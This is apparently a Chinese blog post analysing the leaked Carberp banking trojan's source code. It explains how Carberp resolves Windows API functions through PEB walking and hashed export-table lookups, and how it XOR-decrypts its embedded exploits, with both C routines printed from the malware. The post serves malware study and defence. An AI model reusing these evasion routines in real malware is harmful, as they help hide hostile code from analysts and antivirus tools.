1. Carberp没有使用标准C/C++库函数,自己实现了字符串操作,内存分配等功能函数。
2. Carberp调用Windows Api的方式:
利用FS:[0x30]获取PEB,从PEB中获取当前进程加载的模块(kernel32.dll,user32.dll,ntdll.dll等等)的基地址,然后根据基地址获取模块的导出地址列表,遍历导出地址列表的每个函数,对比函数名的hash值,从而获取指定的函数,Carberp并没有使用函数名字符串,而是事先计算了函数名的hash值,然后计算导出列表中的每个函数名hash值,一致则找到了指定的函数。
-
LPVOID GetApiAddr(HMODULE Module, DWORD ProcNameHash)
-
{
-
// 获取模块的PE内存映像的IMAGE_OPTIONAL_HEADER地址
-
PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)( (char*)Module + ( (PIMAGE_DOS_HEADER)Module)->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
-
-
// 获取导出地址表的地址
-
PIMAGE_EXPORT_DIRECTORY Table = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(Module, poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress );
-
-
DWORD DataSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
-
-
// 获取函数的ordinal值,它就是函数在AddressOfFunctions数组的下标
-
int Ordinal = 0;
-
-
if ( HIWORD(ProcNameHash) == 0 )
-
{
-
//
-
Ordinal = (LOWORD(ProcNameHash)) - Table->Base;
-
}
-
else
-
{
-
PDWORD NamesTable = (DWORD*)RVATOVA(Module, Table->AddressOfNames );
-
PWORD OrdinalTable = (WORD*)RVATOVA(Module, Table->AddressOfNameOrdinals);
-
-
unsigned int i;
-
char * ProcName;
-
for ( i = 0; i < Table->NumberOfNames; i++)
-
{
-
ProcName = (char*)RVATOVA(Module, *NamesTable);
-
if (CalcHash(ProcName) == ProcNameHash )
-
{
-
Ordinal = *OrdinalTable;
-
break;
-
}
-
NamesTable++;
-
OrdinalTable++;
-
}
-
}
-
-
if (Ordinal == 0)
-
return NULL;
-
-
// 获取AddressOfFunctions数组的地址
-
PDWORD AddrTable = (PDWORD)RVATOVA(Module, Table->AddressOfFunctions);
-
DWORD RVA = AddrTable[Ordinal];
-
DWORD Ret = (DWORD)RVATOVA(Module, RVA );
-
-
/*
-
导出表一个特别聪明的地方是它能将一个导出函数转发(Forwarding)到其它DLL。例如在Windows NT?、Windows? 2000和Windows XP中,
-
KERNEL32中的HeapAlloc函数被转发到了NTDLL导出的RtlAllocHeap函数上。转发是在链接时通过.DEF文件中的EXPORTS节中的一种特殊语法
-
形式来实现的。对于HeapAlloc这个例子,KERNEL32的.DEF文件一定包含下面的内容: EXPORTS ??? HeapAlloc = NTDLL.RtlAllocHeap
-
怎样才能区别转发的函数与正常导出的函数呢?这需要一些技巧。通常EAT中包含的是导出符号的RVA。但是如果这个RVA位于导出表中
-
(通过相应的DataDirectory中的VirtualAddress域和Size域进行判断),那么它就是转发的。
-
当转发一个符号时,它的RVA很明显不能是当前模块中的代码或数据的地址。实际上,它的RVA指向一个由DLL和转发到的符号名称组成的字符串。
-
在前面的例子中,这个字符串就是NTDLL.RtlAllocHeap。
-
*/
-
if (Ret > (DWORD)Table && (Ret - (DWORD)Table < DataSize))
-
Ret = (DWORD)GetForvardedProc((PCHAR)Ret);
-
-
return (LPVOID)Ret;
-
}
3. Carberp Xor 加密(解密):
Carberp代码中展现的exploit是经过Xor加密过后的密文,在使用之前先进行Xor解密:
-
DWORD XORCrypt::Crypt(PCHAR Password, LPBYTE Buffer, DWORD Size)
-
{
-
DWORD a = 0, b = 0;
-
a = 0;
-
-
while (a < Size)
-
{
-
b = 0;
-
-
while (Password[b])
-
{
-
// 解密的秘钥随着密文的位置而改变,从而避免所有密文使用相同的秘钥解密
-
Buffer[a] ^= (Password[b] + (a * b));
-
b++;
-
}
-
a++;
-
}
-
-
return a;
-
}
阅读(2302) | 评论(0) | 转发(0) |